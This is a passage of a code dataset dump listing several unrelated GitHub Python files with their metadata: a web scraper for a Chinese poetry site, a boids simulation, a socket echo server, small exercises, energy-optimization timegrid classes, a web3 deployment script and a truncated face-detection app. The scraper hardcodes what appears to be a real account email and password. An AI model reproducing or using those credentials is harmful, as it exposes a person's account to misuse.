checkpoint_type\n","repo_name":"akshayrb22/Conquest_IITKGP_2017","sub_path":"Checkpoint.py","file_name":"Checkpoint.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"6232441017","text":"import os\nimport pprint\n\n\ndef read_file():\n path = os.getcwd() + '\\Files/'\n folder_list = os.listdir(path)\n result = []\n for fail in folder_list:\n with open(path + fail, 'rt', encoding='utf8') as file:\n text = file.readlines()\n result.append([len(text), fail, \"\".join(text)])\n\n result.sort()\n with open(\"split_file.txt\", 'w', encoding='utf8') as file_wr:\n for len_text, fail_name, text in result:\n file_wr.write(f\"{fail_name}\\n\"\n f\"{len_text}\\n\"\n f\"{text}\\n\")\n\n\n\nif __name__ == \"__main__\":\n read_file()\n","repo_name":"ZakablukovDenis/HomeWorks_Files","sub_path":"Files_3.py","file_name":"Files_3.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"21416436537","text":"# 通过登录,进入主页面\n\n# 通过登录接口,我们发现,登录时候需要的参数很多\n\n'''\n__VIEWSTATE: a3CURl/bGbshuconvZsK3VqU0/05TmbRwAAIQJ2L+LsfRja23Dtlfdk1/D41O1iRUgVOoIk1MJCnVM2wbHH3dGz9T9pincURurdye4bFo7fscrz0+0Br3SCLy3ry8bKyYt+HF5IxVxOl9kIPK7QPm/Ple+w=\n__VIEWSTATEGENERATOR: C93BE1AE\nfrom: http://so.gushiwen.cn/user/collect.aspx\nemail: 752457002@qq.com\npwd: qyy2614102\ncode: 9W21\ndenglu: 登录\n\n难点: (1) __VIEWSTATE, __VIEWSTATEGENERATOR是可变的 (一般情况下看不到的数据都是咋页面的)\n 我们观察到\n (2) 验证码\n\n'''\nimport requests\nfrom bs4 import BeautifulSoup\nimport urllib.request\n\nurl = \"https://so.gushiwen.cn/user/login.aspx?from=http://so.gushiwen.cn/user/collect.aspx\"\n\nheaders = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\"\n }\n\n# 获取网页源码\nresponse = requests.get(url = url, headers = headers)\ncontent = response.text\n\n# 解析页面\nsoup = BeautifulSoup(content, \"html.parser\")\n\n# 获取_VIEWSTATE\nviewstate = soup.select('#__VIEWSTATE')[0].attrs.get('value')\n\n# 获取_VIEWSTATE\nviewstategenerator = soup.select('#__VIEWSTATEGENERATOR')[0].attrs.get('value')\n\n# 获取验证码属性\ncode = soup.select(\"#imgCode\")[0].attrs.get('src')\ncode_url = \"https://so.gushiwen.cn\" + code\n\n# 获取验证码的图片之后,下载到本地,然后观察验证码,观察之后,然后在控制台输入这个验证码,就可以将这个值给code的参数,就可以登陆\n# urllib.request.urlretrieve(url = code_url, filename = 'D:/Python Tutorial/爬虫进阶/requests/code.jpg')\n\n''' requests 里面有一个方法session, 通过session的返回值,就能使请求变成一个对象'''\n\nsession = requests.session()\n# 验证码url的内容\nresponse_code = session.get(code_url)\n# 注意次数使用二进制数据,因为我们要使用的是图片下载\ncontent_code = response_code.content\n# wb模式就是将二进制文件写入文件\nwith open('D:/Python Tutorial/爬虫进阶/requests/code.jpg', 'wb') as fp:\n fp.write(content_code)\n\n# 用户胡输入验证码\ncode_name = input(\"请输入你的验证码: \")\n\n# 点击登陆\nurl_post = \"https://so.gushiwen.cn/user/login.aspx?from=http%3a%2f%2fso.gushiwen.cn%2fuser%2fcollect.aspx\"\n\ndata_post = {\n '__VIEWSTATE': viewstate,\n '__VIEWSTATEGENERATOR': viewstategenerator,\n 'from': 'http://so.gushiwen.cn/user/collect.aspx',\n 'email': '752457002@qq.com',\n 'pwd': 'qyy2614102',\n 'code': code_name,\n 'denglu': '登录'\n}\n\n# 获取登录后的网页源码\nresponse_post = session.post(url = url_post, headers = headers, data = data_post)\ncontent_post = response_post.text\n\nwith open(\"D:/Python Tutorial/爬虫进阶/requests/gushiwen.html\", 'w', encoding = 'utf-8') as fp:\n fp.write(content_post)\n\n\n\n\n","repo_name":"qyy752457002/Advanced_Web_Scraping","sub_path":"requests/requests_古诗文 (绕过登录验证码).py","file_name":"requests_古诗文 (绕过登录验证码).py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11468262561","text":"import rhinoscriptsyntax as rs\nimport random, math\n\n\"\"\"\nFor each agent, for each increment of time:\na) Avoid crowding local flockmates. Steer to keep a minimum distance between each agent and the ones around it. In flocking models, a boid (bird/droid) reacts only to flockmates within a certain neighborhood around itself; there is no global steering intelligence. The neighborhood is defined by a distance from the center of the boid and the angle around it, measured by its direction of travel.\nb) Align towards the average heading of local flockmates.\nc) Cohere to the flock: move toward the center of mass of local flockmates. The center of mass is the average position of all the agents.\n\"\"\"\n\nclass Boid(object):\n\n\tSZ_radius = 1\n\tNZ_radius = 10\n\tNZ_angle = 270\n\n\tseparation_factor = .5\n\talignment_factor = .5\n\tcohesion_factor = .1\n\n\tdef __init__(self, guid, heading):\n\t\t\"\"\" CREATE A BOID \"\"\"\n\n\t\tself.guid = guid\n\n\t\tself.position = rs.PointCoordinates(self.guid)\n\t\tself.heading = heading\n\n\t\tself.SZ_neighbors = []\n\t\tself.NZ_neighbors = []\n\n\t\tself.NZ_avg_heading = []\n\t\tself.NZ_center_of_mass = []\n\n\t\tself.separation_vector = (0,0,0)\n\t\tself.alignment_vector = (0,0,0)\n\t\tself.cohesion_vector = (0,0,0)\n\n\t\tself.path_pts = []\n\t\tself.path_guid = \"\"\n\t\tself.path_pts.append(self.position)\n\n\tdef get_SZ_neighbors(self, population):\n\t\t\"\"\" IF AGENT IS WITHIN SZ, MAKE IT AN SZ NEIGHBOR \"\"\"\n\n\t\tself.SZ_neighbors = []\n\n\t\tfor agent in population:\n\t\t\tdistance = rs.Distance(self.guid, agent.guid)\n\t\t\tif (distance != 0) and (distance < Boid.SZ_radius):\n\t\t\t\tself.SZ_neighbors.append(agent)\n\n\tdef get_NZ_neighbors(self, population):\n\t\t\"\"\" IF AGENT IS WITHIN NZ, MAKE IT AN NZ NEIGHBOR \"\"\"\n\n\t\tself.NZ_neighbors = []\n\t\tcenter_cone = rs.VectorReverse(self.heading)\n\n\t\tfor agent in population:\n\t\t\tdistance = rs.Distance(self.guid, agent.guid)\n\t\t\tif distance != 0:\n\t\t\t\tagent_angle = rs.VectorAngle(rs.VectorCreate(self.guid, agent.guid), center_cone)\n\t\t\t\tif (distance < Boid.NZ_radius) and (agent_angle < Boid.NZ_angle / 2):\n\t\t\t\t\tself.NZ_neighbors.append(agent)\n\n\n\tdef separate(self):\n\t\t\"\"\" MOVE AWAY FROM NEIGHBORS IN SZ \"\"\"\n\t\tself.separation_vector = (0,0,0)\n\t\tif len(self.SZ_neighbors) > 0:\n\n\n\t\t\tfor neighbor in self.SZ_neighbors:\n\t\t\t\tself.separation_vector = rs.VectorAdd(rs.VectorCreate(self.position, neighbor.position), self.separation_vector)\n\n\t\t\tself.separation_vector = rs.VectorDivide(self.separation_vector, len(self.SZ_neighbors))\n\t\t\tself.separation_vector = rs.VectorScale(self.separation_vector, Boid.separation_factor)\n\n\tdef align(self):\n\t\t\"\"\" ALIIGN TOWARDS AVERAGE HEADING OF NEIGHBORS \"\"\"\n\t\tself.NZ_avg_heading = (0,0,0)\n\n\t\tif len(self.NZ_neighbors) > 0:\n\t\t\tfor neighbor in self.NZ_neighbors:\n\t\t\t\tself.NZ_avg_heading = rs.VectorAdd(self.NZ_avg_heading, neighbor.heading)\n\n\t\t\tself.NZ_avg_heading = rs.VectorDivide(self.NZ_avg_heading, len(self.NZ_neighbors))\n\n\t\t\tself.alignment_vector = rs.VectorScale(self.NZ_avg_heading, Boid.alignment_factor)\n\n\tdef cohere(self):\n\t\t\"\"\" MOVE TOWARD THE CENTER OF MASS OF NEIGHBORS \"\"\"\n\t\tself.NZ_center_of_mass = (0,0,0)\n\n\t\tif len(self.NZ_neighbors) > 0:\n\n\t\t\tfor neighbor in self.NZ_neighbors:\n\t\t\t\tself.NZ_center_of_mass = rs.VectorAdd(self.NZ_center_of_mass, neighbor.position)\n\n\t\t\tself.NZ_center_of_mass = rs.VectorDivide(self.NZ_center_of_mass, len(self.NZ_neighbors))\n\n\t\t\tself.cohesion_vector = rs.VectorCreate(self.NZ_center_of_mass, self.position)\n\t\t\tself.cohesion_vector = rs.VectorScale(self.cohesion_vector, Boid.cohesion_factor)\n\n\tdef avoid(self):\n\t\t\"\"\" AVOID OBSTACLES \"\"\"\n\t\tpass\n\n\tdef strive(self):\n\t\t\"\"\" HEAD TOWARDS GOAL \"\"\"\n\t\tpass\n\n\n\tdef update_heading(self):\n\t\t\"\"\" AVERAGE SEPARATION, ALIGNMENT, AND COHESION VECTORS \"\"\"\n\n\t\tself.separate()\n\t\tself.align()\n\t\tself.cohere()\n\n\t\tself.heading = rs.VectorAdd(self.heading, self.separation_vector)\n\t\tself.heading = rs.VectorAdd(self.heading, self.alignment_vector)\n\t\tself.heading = rs.VectorAdd(self.heading, self.cohesion_vector)\n\t\tself.heading = rs.VectorDivide(self.heading, 3)\n\n\tdef move(self):\n\t\t\"\"\" MOVE A BOID \"\"\"\n\n\t\tself.position = rs.PointAdd(self.position, self.heading)\n\t\tself.path_pts.append(self.position)\n\t\trs.DeleteObject(self.guid)\n\t\tself.guid = rs.AddPoint(self.position)\n\n\n\tdef update(self, population):\n\t\t\"\"\" CHANGE HEADING AND MOVE BOID \"\"\"\n\n\t\tself.get_SZ_neighbors(population)\n\t\tself.get_NZ_neighbors(population)\n\t\tself.update_heading()\n\t\tself.move()\n\n\tdef draw_path(self):\n\t\t\"\"\" DRAW BOID'S PATH \"\"\"\n\n\t\tif self.path_guid:\n\t\t\trs.DeleteObject(self.path_guid)\n\t\tself.path_guid = rs.AddCurve(self.path_pts)\n\ndef Main():\n\tpopulation_pts = rs.GetObjects(\"Pick starting points:\", 1)\n\tsteps = rs.GetInteger(\"How many steps?\", 50)\n\n\tinitial_heading = rs.VectorCreate((1,1,0), (0,0,0))\n\n\tpopulation = []\n\ti = 0\n\twhile i < len(population_pts):\n\t\tpopulation.append(Boid(population_pts[i], initial_heading))\n\t\ti += 1\n\n\n\tfor t in range(steps):\n\t\tfor boid in population:\n\t\t\tboid.update(population)\n\n\n\tfor boid in population:\n\t\tboid.draw_path()\n\nMain()","repo_name":"j0hnm4r5/portfolio-projects","sub_path":"Computing Drawing/Boids-Code/*boids.py","file_name":"*boids.py","file_ext":"py","file_size_in_byte":4950,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"72556171076","text":"# nilai = int(input(\"Masukan angkanya: \"))\n# if nilai <= 10:\n# print(\"Benar nilanya\")\n# flag = True\n# else:\n# print(\"Angka salah\")\n# flag = False\n# print(flag)\n\n# user = int(input(\"Masukan angka: \"))\n# i = 0\n# ress = 0\n# while i <= user:\n# ress = ress + 1\n# i += 1\n# print(\"Hasilnya adalah\", ress)\n\nfrom email.headerregistry import Address\nfrom multiprocessing import connection\nimport socket\n\n\nSRV_ADDR = input(\"Masukan server ip: \")\nSRV_PORT = input(\"Masukan server port: \")\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((SRV_ADDR, SRV_PORT))\nconnection, address = s.accept()\nprint('Client Connected with address: ', address)\nwhile 1:\n data = connection.recv(1024)\n if not data: break\n connection.sendall(b'--Message Received--\\n')\n print(data.decode('utf-8'))\nconnection.close","repo_name":"danny0x4/python","sub_path":"coba.py","file_name":"coba.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10778893570","text":"import random\ndef check():\n \n print(\"BYE BYE\")\n print(\"thanks for rolling ,have a good day!!!\")\nprint(\"Welcome to the Dice Rolling Stimulator\")\na=input(\"press enter to roll the die(or q to quit:)\")\nif(a=='q'):\n check()\n exit(0)\nelse: \n print(f\"you rolled a {random.randint(1,6)} !\")\nwhile(a!='q'):\n a=(input(\"press ENTER to roll the dice again(or 'q' to quit):\"))\n if(a=='q'):\n check()\n break\n else:\n m=random.randint(1,6)\n print(f\"you rolled a {m} !\")","repo_name":"Mounika-chukkala/my-practice-projects","sub_path":"dicerolling.py","file_name":"dicerolling.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74168041158","text":"import sys\n\ninput = sys.stdin.readline\n\ng = [[0] * 101 for _ in range(101)]\n\nT = int(input().rstrip())\ncnt = 0\nfor _ in range(T):\n l, b = map(int, input().rstrip().split())\n for i in range(b, 10+b):\n for j in range(l, 10+l):\n if g[i][j] == 0:\n g[i][j] = 1\n cnt += 1\n else:\n continue\nprint(cnt)\n\n# 주어진 모양은 1사분면이지만, 풀 때는 일반적인 그래프 형태로 풀었다.\n# 보통 넓이 문제는 인덱스와 넓이를 어떻게 표현할 것인지 헷갈려서 그림을 그려 보아야 한다.\n# 끝 값이 겹치지 않게 하려면, 예를 들어 밑변의 길이가 5부터 15까지라면,\n# 그래프에 표시는 5부터 14까지 1로 해 놓아야 1로 표현된 밑변의 길이가 정확히 표시된다.\n\n","repo_name":"Cr-Mo-Marco-3000/Algorithm","sub_path":"JUNGOL/Begginner_Coder/1438_색종이(초)/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"127814199","text":"from typing import Union, List, Dict, TypedDict, Sequence\nimport datetime as dt\nimport numpy as np\nimport pandas as pd\n\nclass StartEndValueDict(TypedDict):\n \"\"\" New type to contain info of the type start, end, value\n dict with\n start: array of datetime \n end: array of datetime (optional)\n values: array of floats \"\"\"\n start: Sequence[dt.datetime]\n end: Sequence[float]\n values: Sequence[float]\n\nclass Unit:\n def __init__(self, volume:str='MWh', flow:str='MW', factor:float=1.):\n \"\"\" Defines the units used in a node and how to convert between volums and flows (volume/time)\n\n Args:\n volume (str, optional):'volume' is a quantity unit, typically MWh or MJ for energy. Defaults to 'MWh'.\n flow (str, optional): 'flow' is a quantity per time unit, typically MW (J/s) for energy. Defaults to 'MW'.\n factor (float, optional): 'factor' is measured in the
    of the optimization problem (default 'h'). \n It is the value of (volume/flow). Defaults to 1 .\n The factor for conversions may prove very handy, particularly with multi commodity models\n however, it is not implemented yet. We included the factor to ensure at the start that \n only unit valid choices with factor 1 are used. Conversion to be added in later version \n \"\"\"\n self.volume = volume\n self.flow = flow\n self.factor = factor\n assert (factor == 1.), 'conversion of volume/flow units using factor not implemented. please choose units with conversion factor 1'\n\nclass Node:\n def __init__(self, name: str, commodity:str = None, unit: Unit = Unit()) :\n \"\"\" Class to define a node in the optimization problem. A node is a (virtual) point, where\n assets are located. In a node, the sum of all commodity flows must be zero.\n Only one commodity may be present in each node. \n Per node we also define the units to be used for capacity (volume/energy and flow/capacity).\n Examples are MWh and MW or liters and liters per minute.\n\n Args:\n name (str): Name of the node (must be unique in the portfolio)\n commodity (str): Commodity traded in the node. None possible if there is no distinction. Defaults to None\n unit (Unit): Units used in the node. Defaults to default unit \n \"\"\"\n self.name = name\n self.commodity = commodity\n self.unit = unit\n\nclass Timegrid:\n def __init__(self, start:dt.datetime, end:dt.datetime, freq:str='h', main_time_unit = 'h', ref_timegrid=None, timezone: str = None):\n \"\"\" Manage the timegrid used for optimization. \n\n Args:\n start (dt.datetime): Start datetime\n end (dt.datetime): End datetime\n freq (str, optional): Frequency for discretization according to pandas notation ('15min', 'h', 'd', ...). Defaults to 'h'\n main_time_unit (str, optional): All times in the optimization problem are measured in the main_time_unit. Pandas notation. Defaults to 'h'\n timezone: Timezone for times. String according to pandas tz definitions (e.g. CET). Defaults to None (naive timezone)\n ref_timegrid (Timegrid, optional): reference TG in case this timegrid is a subset of a suber grid\n Returns:\n timepoints (daterange): specific points in time of mesh\n T (float): number of time steps\n dt (np.array): time step for each step\n Dt (np.array): cummulative time steps (total duration since start)\n \"\"\"\n self.freq = freq\n self.main_time_unit = main_time_unit\n\n # some timezone specific checks and definitions\n # also converting dates to pd.Timestamp to simplify further coding / avoid mismatches\n if ref_timegrid is not None:\n # get timezone from reference tg\n self.tz = ref_timegrid.tz\n else:\n self.tz = timezone\n\n # convert to timestamp to avoid dt/pd confusion and allow all inputs covered by pd.Timestamp\n if not start is None:\n self.start = pd.Timestamp(start)\n if not end is None: \n self.end = pd.Timestamp(end)\n\n # use reference TG and ignore start/end - then filter\n if ref_timegrid is not None:\n if self.start is None:\n self.start = ref_timegrid.start\n else:\n if self.start.tzinfo is None:\n self.start = pd.Timestamp(self.start, tz = self.tz)\n else:\n self.start = pd.Timestamp(self.start) \n if self.end is None:\n self.end = ref_timegrid.end \n else:\n if self.end.tzinfo is None:\n self.end = pd.Timestamp(self.end, tz = self.tz)\n else:\n self.end = pd.Timestamp(self.end) \n # restricted timegrid is generated by filtering the main timegrid\n if freq == ref_timegrid.freq:\n I = (ref_timegrid.timepoints>=self.start) & (ref_timegrid.timepoints= freq_p), 'timegrid must have less/equal granular frequency than reference'\n # generate more granular timegrid - all minor grid points in \"right interval\" |->|->|->|\n pts = (pd.date_range(start=self.start, end = self.end, freq = freq, tz = self.tz))\n self.I = []\n self.I_minor_in_major = [] # to contain the list of minor grid points in major grid\n self.timepoints = []\n self.dt = []\n self.Dt = [] \n if hasattr(ref_timegrid,'discount_factors'):\n self.discount_factors = []\n for a,b in zip(pts[0:-1], pts[1:]):\n I = (ref_timegrid.timepoints >= a) & (ref_timegrid.timepoints < b)\n self.I_minor_in_major.append(ref_timegrid.I[I])\n myI = ref_timegrid.I[I].min() # last minor grid in major grid\n self.I.append(myI)\n self.dt.append(ref_timegrid.dt[I].sum())\n self.Dt.append(ref_timegrid.Dt[myI])\n self.timepoints.append(ref_timegrid.timepoints[myI])\n if hasattr(ref_timegrid,'discount_factors'):\n self.discount_factors.append(ref_timegrid.discount_factors[myI]) \n self.I = np.asarray(self.I)\n self.timepoints = np.asarray(self.timepoints)\n self.dt = np.asarray(self.dt)\n self.Dt = np.asarray(self.Dt)\n self.T = len(self.timepoints)\n if hasattr(ref_timegrid,'discount_factors'):\n self.discount_factors = np.asarray(self.discount_factors)\n pass\n # no reference TG given\n else:\n if self.start.tzinfo is None:\n self.start = pd.Timestamp(self.start, tz = self.tz)\n if self.end.tzinfo is None:\n self.end = pd.Timestamp(self.end, tz = self.tz)\n assert self.start < self.end\n timepoints = pd.date_range(start=self.start, end = self.end, freq = self.freq, tz = self.tz)\n self.timepoints = timepoints[0:-1] # specific time points of mesh\n self.dt = (timepoints[1:]-timepoints[0:-1])/pd.Timedelta(1, self.main_time_unit) # time steps in mesh \n self.Dt = np.cumsum(self.dt) # total duration since start (in main time unit)\n self.T = len(self.timepoints) # number of time steps in mesh\n self.I = np.array(range(0,self.T))\n\n self.dt = self.dt.values\n self.Dt = self.Dt.values\n\n def set_wacc(self, wacc:float):\n \"\"\" use wacc to create discount factors for discounted cash flows\n Args:\n wacc (float): weighted average cost of capital\n \"\"\"\n # compute corresponding discount factors\n d = (1.+wacc)**(1./365.) # convert interest rate to daily\n self.discount_factors = 1./d**(self.Dt*pd.Timedelta(1, self.main_time_unit)/pd.Timedelta(1, 'd')) \n\n def prices_to_grid(self, prices: dict):\n \"\"\"\n Convert prices into a dataframe with index self.timepoints.\n If the price points already have (possibly different) timepoints, then the prices at self.timepoints\n are interpolated.\n\n Args:\n prices: This can be either a pandas dataframe with a Datetimeindex where each column corresponds to a price,\n or a dictionary of prices. In the case of a dict, the items can have the following forms:\n - array of length self.T. In this case it is assumed that the i-th entry of the array corresponds to the\n i-th point in self.timepoints.\n - dict where the keys are timepoints and the corresponding items depict the prices at the specific\n timepoints\n\n Returns:\n prices:\n \"\"\"\n if not isinstance(prices, pd.DataFrame):\n prices = pd.DataFrame.from_dict(prices)\n if not isinstance(prices.index, pd.DatetimeIndex):\n if prices.index.is_numeric():\n prices.index = self.timepoints\n else:\n prices.index = pd.to_datetime(prices.index)\n prices = prices.reindex(prices.index.union(self.timepoints))\n prices = prices.interpolate(method='time', limit_direction=\"both\")\n prices = prices.loc[self.timepoints]\n return prices\n\n def set_restricted_grid(self,start:dt.datetime = None, end:dt.datetime = None, freq:bool = None):\n \"\"\" return dictionary of arrays restricted to start/end\n used typically for assets valid in restricted timeframe\n Args:\n start, end (dt.datetime): start and end of restricted arrays. Default to None --> full timegrid's start/end\n freq (bool, optional): frequency for restr. timegrid. may be chosen less granular than tg. Defaults to None\n \"\"\"\n # if start/end not given, use those from timegrid\n if start is None: start = self.start\n if end is None: end = self.end\n if freq is None: # standard case\n self.restricted = Timegrid(start, end, freq=self.freq, main_time_unit=self.main_time_unit, ref_timegrid = self)\n else: # in case the restricted timegrid should have a different frequency:\n self.restricted = Timegrid(start, end, freq=freq, main_time_unit=self.main_time_unit, ref_timegrid = self)\n\n def prep_date_dict(self, dd:dict):\n \"\"\" Using dicts with keys \"start\", \"end\" and \"values\" throughout. Could change to an own classe\n but so far sticking to this definition. This function converts the dict e.g. by changing to timegrid\n time zone\n\n Args:\n dd (dict): date dict -- dict with keys \"start', \"end\", \"values\"\n\n Returns:\n date dict with same keys\n \"\"\"\n assert ('values' in dd)\n dd = dd.copy()\n out = {}\n keys = ['start', 'end']\n for myk in keys:\n out[myk] = []\n if myk in dd:\n for v in dd[myk]:\n if not isinstance(v, pd.Timestamp):\n v = pd.Timestamp(v)\n if v.tzinfo is None:\n v = v.tz_localize(self.tz)\n out[myk].append(v)\n out['values'] = dd['values']\n return out\n\n def values_to_grid(self,inp:StartEndValueDict) -> np.array:\n \"\"\" Assignment of data from interval data to timegrid\n Args:\n inp (dict) with keys --- start, end, values\n each defining time interval where value is to be used\n\n Returns:\n array of values on the time grid\n \"\"\"\n assert ('start' in inp)\n if isinstance(inp['start'],pd.DatetimeIndex):\n inp['start'] = inp['start'].tolist()\n if not isinstance(inp['start'], (list, np.ndarray)):\n inp['start'] = [inp['start']]\n if 'end' in inp:\n if isinstance(inp['end'],pd.DatetimeIndex):\n inp['end'] = inp['end'].tolist() \n if not isinstance(inp['end'], (list, np.ndarray)):\n inp['end'] = [inp['end']]\n assert ('values' in inp)\n if not isinstance(inp['values'], (list, np.ndarray)):\n inp['values'] = [inp['values']] \n # two cases: (1) \"end\" given or (2) \"end\" not given and implicitly start of the next interval\n if not 'end' in inp:\n if len(inp['start']) > 1: \n inp['end'] = inp['start'].copy() # initialize, unknown type\n inp['end'][:-1] = inp['start'][1:]\n inp['end'][-1] = inp['end'][-1] + 2*(inp['start'][-1]-inp['start'][-2]) # generously extend validity\n else: # only one start value given, valid \"for ever\"\n inp['end'] = [pd.Timestamp.max]\n grid = np.empty(self.T)\n grid[:] = np.nan\n # catch and heal potential timezone mismatch in input data\n if (pd.to_datetime(inp['start']).tz is None) and (self.tz is not None):\n inp['start'] = pd.to_datetime(inp['start']).tz_localize(self.tz)\n if (pd.to_datetime(inp['end']).tz is None) and (self.tz is not None):\n inp['end'] = pd.to_datetime(inp['end']).tz_localize(self.tz)\n for s, e, v in zip(inp['start'], inp['end'], inp['values']):\n I = (self.timepoints >= pd.to_datetime(s)) & (self.timepoints < pd.to_datetime(e))\n if not all(np.isnan(grid[I])):\n raise ValueError('Overlapping time intervals')\n grid[I] = v\n return grid\n","repo_name":"EnergyAssetOptimization/EAO","sub_path":"eaopack/basic_classes.py","file_name":"basic_classes.py","file_ext":"py","file_size_in_byte":14957,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"62"} +{"seq_id":"33161291434","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nfrom hydra import initialize, compose\n\n\ndef load_config(config_name, config_path) -> None:\n initialize(config_path=config_path)\n cfg = compose(config_name=config_name)\n\n return cfg\n\n\ndef get_csv_file(path: str):\n files = os.listdir(path)\n csv_files = []\n for file in files:\n if file.endswith(\".csv\"):\n csv_files.append(os.path.join(path, file))\n return csv_files\n\n\ndef csv_to_df(csv_files: list):\n return {os.path.basename(file): pd.read_csv(file) for file in csv_files}\n\n\ndef plot(\n dfs: list,\n features: list,\n is_save=False,\n fig_name=\"comparison\",\n fig_path=\"visualization\",\n):\n fig = plt.figure(figsize=(20, 10))\n n_rows = 1\n n_cols = len(features)\n\n for i, feature in enumerate(features):\n fig.add_subplot(n_rows, n_cols, i + 1)\n legends = []\n for name, df in dfs.items():\n plt.plot(df[\"epoch\"], df[feature])\n legends.append(name.replace(\".csv\", \"\"))\n plt.legend(legends)\n plt.xlabel(\"Epochs\")\n plt.ylabel(feature.capitalize())\n plt.title(f\"Visualize {feature} in training phase\")\n if is_save:\n fig_path = os.path.join(fig_path, fig_name)\n plt.savefig(fig_path, dpi=300)\n plt.show()\n\n\nif __name__ == \"__main__\":\n config = load_config(\"model.yaml\", \"./config\")\n csv_files = get_csv_file(\"./train_result\")\n dfs = csv_to_df(csv_files)\n plot(\n dfs=dfs,\n features=config.visualization.features,\n is_save=config.visualization.is_save,\n fig_name=config.visualization.fig_name,\n fig_path=config.visualization.fig_path,\n )\n","repo_name":"HuuAnnnn/Graph-Neural-Network","sub_path":"BasicGNN/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39891751968","text":"import asyncio\nimport json\nimport os\nimport subprocess\nimport sys\n\nfrom web3 import Web3\nfrom web3.middleware import geth_poa_middleware\n\nfrom ratel.src.python.utils import threshold, spareShares, players, batchShares, blsPrime, \\\n location_inputmask, key_inputmask\n\nurl = 'ws://0.0.0.0:8546'\nETH = '0x0000000000000000000000000000000000000000'\ntokenAddress = '0xF74Eb25Ab1785D24306CA6b3CBFf0D0b0817C5E2'\nappAddress = '0x6b5c9637e0207c72Ee1a275b6C3b686ba8D87385'\nconfirmation = 2\n\ndef parse_contract(name):\n contract = json.load(open(f'ratel/genfiles/build/contracts/{name}.json'))\n return contract['abi'], contract['bytecode']\n\ndef getAccount(web3, keystoreDir):\n for filename in os.listdir(keystoreDir):\n with open(keystoreDir + filename) as keyfile:\n encryptedKey = keyfile.read()\n privateKey = web3.eth.account.decrypt(encryptedKey, '')\n return web3.eth.account.privateKeyToAccount(privateKey)\n\ndef reserveInput(web3, appContract, num, account):\n # tx_hash = appContract.functions.reserveInput(num).transact()\n # web3.eth.wait_for_transaction_receipt(tx_hash)\n tx = appContract.functions.reserveInput(num).buildTransaction({'from': account.address, 'gas': 1000000, 'nonce': web3.eth.get_transaction_count(account.address)})\n signedTx = web3.eth.account.sign_transaction(tx, private_key=account.privateKey)\n web3.eth.send_raw_transaction(signedTx.rawTransaction)\n web3.eth.wait_for_transaction_receipt(signedTx.hash)\n receipt = web3.eth.get_transaction_receipt(signedTx.hash)\n log = appContract.events.InputMask().processReceipt(receipt)\n return log[0]['args']['inpusMaskIndexes']\n\nasync def preprocessing(db, contract, serverID):\n tot = contract.functions.inputmaskCnt().call()\n while True:\n cnt = contract.functions.inputmaskCnt().call()\n if cnt + spareShares >= tot:\n print('Generating new inputmasks...')\n\n env = os.environ.copy()\n cmd = ['./random-shamir.x', '-i', f'{serverID}', '-N', f'{players}', '-T', f'{threshold}', '--nshares', f'{batchShares}']\n task = subprocess.Popen(cmd, env=env)\n task.wait()\n\n file = location_inputmask(serverID)\n with open(file, 'r') as f:\n idx = tot\n for line in f.readlines():\n key = key_inputmask(idx)\n share = int(line) % blsPrime\n db.Put(key, share.to_bytes((share.bit_length() + 7) // 8, 'big'))\n idx += 1\n\n tot += batchShares\n print(f'Total inputmask number: {tot}\\n')\n\n await asyncio.sleep(60)\n\nif __name__=='__main__':\n appName = sys.argv[1]\n\n web3 = Web3(Web3.WebsocketProvider(url))\n\n web3.eth.defaultAccount = web3.eth.accounts[0]\n web3.middleware_onion.inject(geth_poa_middleware, layer=0)\n\n abi, bytecode = parse_contract('Token')\n tx_hash = web3.eth.contract(\n abi=abi,\n bytecode=bytecode).constructor().transact()\n web3.eth.wait_for_transaction_receipt(tx_hash)\n tokenAddress = web3.eth.waitForTransactionReceipt(tx_hash)['contractAddress']\n print(f'Deployed to: {tokenAddress}\\n')\n tokenContract = web3.eth.contract(address=tokenAddress, abi=abi)\n\n abi, bytecode = parse_contract(appName)\n servers = []\n for serverID in range(4):\n account = getAccount(web3, f'/opt/poa/keystore/server_{serverID}/')\n servers.append(account.address)\n tx_hash = web3.eth.contract(\n abi=abi,\n bytecode=bytecode).constructor(servers, threshold).transact()\n web3.eth.wait_for_transaction_receipt(tx_hash)\n appAddress = web3.eth.waitForTransactionReceipt(tx_hash)['contractAddress']\n print(f'Deployed to: {appAddress}\\n')\n appContract = web3.eth.contract(address=appAddress, abi=abi)\n\n\n\n\n","repo_name":"initc3/badgerswap-v3","sub_path":"ratel/src/python/deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"35271566772","text":"import streamlit as st\nfrom tensorflow_video import *\nimport cv2\nimport tempfile\nfrom PIL import Image\nimport numpy as np\n\nst.write(\"\"\"\n### Face Detection via Tensorflow\n\"\"\")\n\n# Upload a video file\nvideo_file = st.file_uploader(\"Upload a video file\", type=[\"mp4\", \"avi\", \"mov\"])\nmodel_name = \"/home/airi/yolo/Tensorflow_Serving/saved_models/model_1\"\n# Load the model\nloaded_model = model_load(model_name)\nconf_threshold = 